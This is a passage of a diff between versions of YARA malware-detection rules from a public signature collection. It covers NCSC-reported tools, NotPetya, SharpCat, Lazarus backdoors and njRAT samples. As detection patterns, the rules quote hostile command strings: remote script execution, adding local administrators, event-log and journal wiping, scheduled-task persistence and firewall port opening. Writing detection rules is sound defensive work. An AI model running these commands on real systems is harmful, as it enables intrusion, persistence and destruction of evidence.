-		$sb28 = "LW9yZGVyLmV4ZVBL"
-		$sb29 = "1vcmRlci5leGVQS"
-		$sb30 = "tb3JkZXIuZXhlUE"
-		$sb31 = "IHJlcXVlc3QuZXhlUE"
-		$sb32 = "ByZXF1ZXN0LmV4ZVBL"
-		$sb33 = "gcmVxdWVzdC5leGVQS"
-		$sb34 = "IG9yZGVyLmV4ZVBL"
-		$sb35 = "BvcmRlci5leGVQS"
-		$sb36 = "gb3JkZXIuZXhlUE"
-		$sb37 = "LmRvYy5leGVQS"
-		$sb38 = "5kb2MuZXhlUE"
-		$sb39 = "uZG9jLmV4ZVBL"
-		$sb40 = "LmRvY3guZXhlUE"
-		$sb41 = "5kb2N4LmV4ZVBL"
-		$sb42 = "uZG9jeC5leGVQS"
-		$sb43 = "Lnhscy5leGVQS"
-		$sb44 = "54bHMuZXhlUE"
-		$sb45 = "ueGxzLmV4ZVBL"
-		$sb46 = "Lnhsc3guZXhlUE"
-		$sb47 = "54bHN4LmV4ZVBL"
-		$sb48 = "ueGxzeC5leGVQS"
-		$sb49 = "LnBkZi5leGVQS"
-		$sb50 = "5wZGYuZXhlUE"
-		$sb51 = "ucGRmLmV4ZVBL"
-		$sb52 = "LnBwdC5leGVQS"
-		$sb53 = "5wcHQuZXhlUE"
-		$sb54 = "ucHB0LmV4ZVBL"
-		$sb55 = "LnBwdHguZXhlUE"
-		$sb56 = "5wcHR4LmV4ZVBL"
-		$sb57 = "ucHB0eC5leGVQS"
-		$sb58 = "LnJ0Zi5leGVQS"
-		$sb59 = "5ydGYuZXhlUE"
-		$sb60 = "ucnRmLmV4ZVBL"
-		$sb61 = "LnR4dC5leGVQS"
-		$sb62 = "50eHQuZXhlUE"
-		$sb63 = "udHh0LmV4ZVBL"
+		$ = "Tokens=1 delims=" ascii
+		$ = "SET ws=%1" ascii
+		$ = "Checking %ws%" ascii
+		$ = "%TEMP%\\%ws%ns.txt" ascii
+		$ = "ps.exe -accepteula" ascii
 
 	condition:
-		uint16(0)==0x4b50 and 1 of ($sa*) or 1 of ($sb*)
+		3 of them
 }
-rule SIGNATURE_BASE_Ping_Command_In_EXE : FILE
+rule SIGNATURE_BASE_Batch_Powershell_Invoke_Inveigh
 {
 	meta:
-		description = "Detects an suspicious ping command execution in an executable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "937ab622-fbcf-5a31-a3ff-af2584484140"
-		date = "2016-11-03"
+		description = "Detects malicious batch file from NCSC report"
+		author = "NCSC"
+		id = "c5dab029-6515-5d58-9ccd-bf438ba692d5"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1ea24774471eade7b7c50f0eae520e2b30dbec693e162b83ab0074465f179372"
-		score = 60
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L109-L124"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0a6b1b29496d4514f6485e78680ec4cd0296ef4d21862d8bf363900a4f8e3fd2"
+		logic_hash = "5048a180df301707622e9ad0b949da9e39d2f55f16fc43e7344a8181596a836c"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$x1 = "cmd /c ping 127.0.0.1 -n " ascii
+		$ = "Inveigh.ps1" ascii
+		$ = "Invoke-Inveigh" ascii
+		$ = "-LLMNR N -HTTP N -FileOutput Y" ascii
+		$ = "powershell.exe" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Googlebot_Useragent : FILE
+rule SIGNATURE_BASE_Lnk_Detect : FILE
 {
 	meta:
-		description = "Detects the GoogleBot UserAgent String in an Executable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "621532ac-fc0b-5118-84b0-eac110693320"
-		date = "2017-01-27"
+		description = "Detects malicious LNK file from NCSC report"
+		author = "NCSC"
+		id = "76d382f3-b2f2-5ede-94b2-5ae8b766c194"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L17-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa6cc3625d3740b91d7f1193cea0bdb621ae9445e42300123b01e322f715b976"
-		score = 65
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L126-L149"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae8796877d70f8ddd56bac8ed474231f26d9bc8e73625e65d5d927ab804996b3"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" fullword ascii
-		$fp1 = "McAfee, Inc." wide
+		$lnk_magic = {4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46}
+		$lnk_target = {41 00 55 00 54 00 4F 00 45 00 58 00 45 00 43 00 2E 00 42 00 41 00 54}
+		$s1 = {5C 00 5C 00 31 00}
+		$s2 = {5C 00 5C 00 32 00}
+		$s3 = {5C 00 5C 00 33 00}
+		$s4 = {5C 00 5C 00 34 00}
+		$s5 = {5C 00 5C 00 35 00}
+		$s6 = {5C 00 5C 00 36 00}
+		$s7 = {5C 00 5C 00 37 00}
+		$s8 = {5C 00 5C 00 38 00}
+		$s9 = {5C 00 5C 00 39 00}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and $x1 and not 1 of ($fp*))
+		uint32be(0)==0x4c000000 and uint32be(4)==0x01140200 and (($lnk_magic at 0) and $lnk_target) and 1 of ($s*)
 }
-rule SIGNATURE_BASE_Gen_Net_Localgroup_Administrators_Add_Command : FILE
+rule SIGNATURE_BASE_RDP_Brute_Strings
 {
 	meta:
-		description = "Detects an executable that contains a command to add a user account to the local administrators group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9f6095fc-6d9f-5814-b407-f320191fd912"
-		date = "2017-07-08"
+		description = "Detects RDP brute forcer from NCSC report"
+		author = "NCSC"
+		id = "d6f0cdbc-a910-5826-b25a-61c2924f8e2a"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L34-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "af4d7c8586022583e2019bbdc3638704e1d237b25e3c214f3bc2db64c58c8bd3"
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L151-L174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8234bf8a1b53efd2a452780a69666d1aedcec9eb1bb714769283ccc2c2bdcc65"
+		logic_hash = "80c51d82a57271409d298b5175505c4234a6c3ec8a8763c93b669d1f0a8d59ba"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$x1 = /net localgroup administrators [a-zA-Z0-9]{1,16} \/add/ nocase ascii
+		$ = "RDP Brute" ascii wide
+		$ = "RdpChecker" ascii
+		$ = "RdpBrute" ascii
+		$ = "Brute_Count_Password" ascii
+		$ = "BruteIPList" ascii
+		$ = "Chilkat_Socket_Key" ascii
+		$ = "Brute_Sync_Stat" ascii
+		$ = "(Error! Hyperlink reference not valid.)" wide
+		$ = "BadRDP" wide
+		$ = "GoodRDP" wide
+		$ = "@echo off{0}:loop{0}del {1}{0}if exist {1} goto loop{0}del {2}{0}del \"{2}\"" wide
+		$ = "Coded by z668" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
+		4 of them
 }
-rule SIGNATURE_BASE_Suspicious_Script_Running_From_HTTP
+rule SIGNATURE_BASE_WEBSHELL_Z_Webshell_1
 {
 	meta:
-		description = "Detects a suspicious "
-		author = "Florian Roth (Nextron Systems)"
-		id = "9ba84e9c-a32b-5f66-8d50-75344599cafc"
-		date = "2017-08-20"
+		description = "Detects Z Webshell from NCSC report"
+		author = "NCSC"
+		id = "f4b50760-bd3a-5e1f-bf32-50f16a42c381"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "https://www.hybrid-analysis.com/sample/a112274e109c5819d54aa8de89b0e707b243f4929a83e77439e3ff01ed218a35?environmentId=100"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L48-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49ead238b9153886ddbcfe37939628fd848283373e2807797d0849559ebecf6c"
-		score = 50
+		old_rule_name = "Z_WebShell"
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L176-L192"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ace12552f3a980f1eed4cadb02afe1bfb851cafc8e58fb130e1329719a07dbf0"
+		logic_hash = "1dfc546a7493c1443527ebe74ed8cd2b06ee032b9a3f736b830e16288e616d43"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "cmd /C script:http://" ascii nocase
-		$s2 = "cmd /C script:https://" ascii nocase
-		$s3 = "cmd.exe /C script:http://" ascii nocase
-		$s4 = "cmd.exe /C script:https://" ascii nocase
+		$ = "Z_PostBackJS" ascii wide
+		$ = "z_file_download" ascii wide
+		$ = "z_WebShell" ascii wide
+		$ = "1367948c7859d6533226042549228228" ascii wide
 
 	condition:
-		1 of them
+		3 of them
 }
-rule SIGNATURE_BASE_Reconcommands_In_File : FILE
+rule SIGNATURE_BASE_Notpetya_Ransomware_Jun17 : FILE
 {
 	meta:
-		description = "Detects various recon commands in a single file"
+		description = "Detects new NotPetya Ransomware variant from June 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "62d59913-5dbd-512c-98ea-044bbb9ac2da"
-		date = "2017-12-11"
+		id = "8805f971-0680-534d-9955-65dc4ecc934a"
+		date = "2017-06-27"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/haroonmeer/status/939099379834658817"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L66-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "73b4bcf76f42a6bf9c3d9dfe3f4e754ce2856e03a47cfd35388d47290209e65d"
-		score = 40
+		reference = "https://goo.gl/h6iaGj"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nopetya_jun17.yar#L12-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e49fd918e9cc09a60434e62767794cd908f195cb71fd7a752a2b4802973bc92e"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"
+		hash2 = "45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0"
+		hash3 = "64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1"
 
 	strings:
-		$ = "tasklist"
-		$ = "net time"
-		$ = "systeminfo"
-		$ = "whoami"
-		$ = "nbtstat"
-		$ = "net start"
-		$ = "qprocess"
-		$ = "nslookup"
+		$x1 = "Ooops, your important files are encrypted." fullword wide ascii
+		$x2 = "process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\%s\\\" #1 " fullword wide
+		$x3 = "-d C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\%s\",#1 " fullword wide
+		$x4 = "Send your Bitcoin wallet ID and personal installation key to e-mail " fullword wide
+		$x5 = "fsutil usn deletejournal /D %c:" fullword wide
+		$x6 = "wevtutil cl Setup & wevtutil cl System" ascii
+		$x7 = { 2C 00 23 00 31 00 20 00 00 00 00 00 00 00 00 00 72 00 75 00 6E
+         00 64 00 6C 00 6C 00 33 00 32 00 2E 00 65 00 78 00 65 00 }
+		$s1 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\" " fullword wide
+		$s4 = "\\\\.\\pipe\\%ws" fullword wide
+		$s5 = "schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d" fullword wide
+		$s6 = "u%s \\\\%s -accepteula -s " fullword wide
+		$s7 = "dllhost.dat" fullword wide
 
 	condition:
-		filesize <5KB and 4 of them
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_VBS_Dropper_Script_Dec17_1 : FILE
+rule SIGNATURE_BASE_Sharpcat : FILE
 {
 	meta:
-		description = "Detects a supicious VBS script that drops an executable"
+		description = "Detects command shell SharpCat - file SharpCat.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "60f23d32-0737-501f-bf1c-1ca32af62efc"
-		date = "2018-01-01"
+		id = "94a7ce40-ac2f-598e-86c5-ee9fde1eeef0"
+		date = "2016-06-10"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L88-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f3c55bd6bf382891263887e46a794329c78bff87b7685088911261fc3b3b133d"
-		score = 80
+		reference = "https://github.com/Cn33liz/SharpCat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_sharpcat.yar#L8-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4a38812b07b40bdde03049dbff1f9de38cadaf9941ab8b40b84016b1d5cbfd51"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "96dcdf68b06c3609f486f9d560661f4fec9fe329e78bd300ad3e2a9f07e332e9"
 
 	strings:
-		$s1 = "TVpTAQEAAAAEAA"
-		$s2 = "TVoAAAAAAAAAAA"
-		$s3 = "TVqAAAEAAAAEAB"
-		$s4 = "TVpQAAIAAAAEAA"
-		$s5 = "TVqQAAMAAAAEAA"
-		$a1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
+		$x1 = "ShellZz" fullword ascii
+		$s2 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+		$s3 = "currentDirectory" fullword ascii
 
 	condition:
-		filesize <600KB and $a1 and 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <20KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_PDB_Strings_Keylogger_Backdoor : HIGHVOL FILE
+rule SIGNATURE_BASE_APT_NK_Lazarus_RC4_Loop : FILE
 {
 	meta:
-		description = "Detects PDB strings used in backdoors or keyloggers"
-		author = "Florian Roth (Nextron Systems)"
-		id = "190daadb-0de6-5665-a241-95c374dbda47"
-		date = "2018-03-23"
+		description = "Detects RC4 loop in Lazarus Group implant"
+		author = "f-secure "
+		id = "a9503795-b4b8-505e-a1bf-df64ec8c1c32"
+		date = "2020-06-10"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L109-L130"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a842ff8cd8be98a2e37a81706a9c594e8bf1bcc6bd3cedfe4747cd52f6044f5"
-		score = 65
+		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_aug20.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0e96bfff924a0c9b39e1ab03097ae0790743417d9da70917d64bc238905971e"
+		score = 75
 		quality = 85
-		tags = "HIGHVOL, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$ = "\\Release\\PrivilegeEscalation"
-		$ = "\\Release\\KeyLogger"
-		$ = "\\Debug\\PrivilegeEscalation"
-		$ = "\\Debug\\KeyLogger"
-		$ = "Backdoor\\KeyLogger_"
-		$ = "\\ShellCode\\Debug\\"
-		$ = "\\ShellCode\\Release\\"
-		$ = "\\New Backdoor"
+		$str_rc4_loop = { 41 FE 8? 00 01 00 00 45 0F B6 ?? 00 01 00 00 48
+                        FF C? 43 0F B6 0? ?? 41 00 8? 01 01 00 00 41 0F
+                        B6 ?? 01 01 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
+		int16 (0)==0x5a4d and filesize <3000KB and $str_rc4_loop
 }
-rule SIGNATURE_BASE_SUSP_Microsoft_Copyright_String_Anomaly_2 : FILE
+rule SIGNATURE_BASE_APT_NK_Lazarus_Network_Backdoor_Unpacked : FILE
 {
 	meta:
-		description = "Detects Floxif Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3257aff0-b923-5e56-b67c-fa676341a102"
-		date = "2018-05-11"
+		description = "Detects unpacked variant of Lazarus Group network backdoor"
+		author = "f-secure"
+		id = "8eda9e74-1a19-5510-82d8-cd2eb324629c"
+		date = "2020-06-10"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L132-L146"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "60bc5d8d0853f474b81d2274a65977a12a481e4b669b38ae47a325eeb60d2735"
-		score = 60
-		quality = 85
+		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_aug20.yar#L17-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bfc3cf400eeea332e2e44b65f9728e94af0adde76b32ed4be527b25484f80745"
+		score = 75
+		quality = 75
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
 
 	strings:
-		$s1 = "Microsoft(C) Windows(C) Operating System" fullword wide
+		$str_netsh_1 = "netsh firewall add portopening TCP %d" ascii wide nocase
+		$str_netsh_2 = "netsh firewall delete portopening TCP %d" ascii wide nocase
+		$str_mask_1 = "cmd.exe /c \"%s >> %s 2>&1\"" ascii wide
+		$str_mask_2 = "cmd.exe /c \"%s 2>> %s\"" ascii wide
+		$str_mask_3 = "%s\\%s\\%s" ascii wide
+		$str_other_1 = "perflog.dat" ascii wide nocase
+		$str_other_2 = "perflog.evt" ascii wide nocase
+		$str_other_3 = "cbstc.log" ascii wide nocase
+		$str_other_4 = "LdrGetProcedureAddress" ascii
+		$str_other_5 = "NtProtectVirtualMemory" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 1 of them
+		int16 (0)==0x5a4d and filesize <3000KB and 1 of ($str_netsh*) and 1 of ($str_mask*) and 1 of ($str_other*)
 }
-rule SIGNATURE_BASE_SUSP_LNK_File_Appdata_Roaming : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Disclosed_20180208_Lsls : FILE
 {
 	meta:
-		description = "Detects a suspicious link file that references to AppData Roaming"
+		description = "Detects malware from disclosed CN malware set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d905e58f-ae2e-5dc2-b206-d0435b023df0"
-		date = "2018-05-16"
+		id = "c6c4aa72-1a84-552f-bea0-38b332a74233"
+		date = "2018-02-08"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L148-L168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e5c78d3fe3fcdbfb097f833fbb1e15ad1f79e63b330eaba754d8b5296b5165a"
-		score = 50
+		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_campaign_njrat.yar#L13-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c6542391e8d1a4fe4d26fd8b2dfb1fcab7b39c67dcc6495f2e5f95c4d6f8d61c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9"
 
 	strings:
-		$s2 = "AppData" fullword wide
-		$s3 = "Roaming" fullword wide
-		$s4 = { 00 2E 00 65 00 78 00 65 00 2E 00 43 00 3A 00 5C
-              00 55 00 73 00 65 00 72 00 73 00 5C }
+		$x1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" fullword ascii
 
 	condition:
-		uint16(0)==0x004c and uint32(4)==0x00021401 and ( filesize <1KB and all of them )
+		uint16(0)==0x457f and filesize <3000KB and $x1
 }
-rule SIGNATURE_BASE_SUSP_LNK_File_Pathtraversal : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Disclosed_20180208_C : FILE
 {
 	meta:
-		description = "Detects a suspicious link file that references a file multiple folders lower than the link itself"
+		description = "Detects malware from disclosed CN malware set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f4f6709f-9c4d-5f0c-9826-97444d282adc"
-		date = "2018-05-16"
+		id = "cb0bcdc4-7eca-59b7-a947-85c232d4e599"
+		date = "2018-02-08"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L170-L186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9935c454518abe7fd4ec4f09e36e4200ec7c9f3b3ad004e9b49d60c08f508236"
-		score = 40
+		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_campaign_njrat.yar#L28-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cfdc7ce8b89a16d2ae604268a030bd41259fed87a7f37b0dca8f7c467703c7f2"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7"
 
 	strings:
-		$s1 = "..\\..\\..\\..\\..\\"
+		$x1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
+		$x2 = "schtasks /create /sc minute /mo 1 /tn Server /tr " fullword wide
+		$x3 = "www.upload.ee/image/" wide
+		$s1 = "winmgmts:\\\\.\\root\\SecurityCenter2" fullword wide
+		$s2 = "/Server.exe" fullword wide
+		$s3 = "Executed As " fullword wide
+		$s4 = "WmiPrvSE.exe" fullword wide
+		$s5 = "Stub.exe" fullword ascii
+		$s6 = "Download ERROR" fullword wide
+		$s7 = "shutdown -r -t 00" fullword wide
+		$s8 = "Select * From AntiVirusProduct" fullword wide
 
 	condition:
-		uint16(0)==0x004c and uint32(4)==0x00021401 and ( filesize <1KB and all of them )
+		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_SUSP_Script_Obfuscation_Char_Concat
+import "pe"
+
+rule SIGNATURE_BASE_CN_Disclosed_20180208_System3 : FILE
 {
 	meta:
-		description = "Detects strings found in sample from CN group repo leak in October 2018"
+		description = "Detects malware from disclosed CN malware set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d3bfdfd-ef8f-5740-ac1f-5835c7ce0f43"
-		date = "2018-10-04"
+		id = "097f4506-295d-5066-8895-2148436731c1"
+		date = "2018-02-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L188-L200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "28b648e0e1c22fefa49a937f40bd4ed09c5d3894ff059979bad69e8bc98fcac2"
-		score = 65
+		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_campaign_njrat.yar#L57-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8292ae1de39c57bc5ed6fa078570e92dbcd22cd13d5b5f22d158986708139fbe"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "73fa84cff51d384c2d22d9e53fc5d42cb642172447b07e796c81dd403fb010c2"
 
 	strings:
-		$s1 = "\"c\" & \"r\" & \"i\" & \"p\" & \"t\"" ascii
+		$a1 = "WmiPrvSE.exe" fullword wide
+		$s1 = "C:\\Users\\sgl\\AppData\\Local\\" ascii
+		$s2 = "Temporary Projects\\WmiPrvSE\\" ascii
+		$s3 = "$15a32a5d-4906-458a-8f57-402311afc1c1" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <200KB and $a1 and 1 of ($s*)
 }
-rule SIGNATURE_BASE_SUSP_Powershell_IEX_Download_Combo
+import "pe"
+
+rule SIGNATURE_BASE_CN_Disclosed_20180208_Mal1 : FILE
 {
 	meta:
-		description = "Detects strings found in sample from CN group repo leak in October 2018"
+		description = "Detects malware from disclosed CN malware set"
 		author = "Florian Roth (Nextron Systems)"
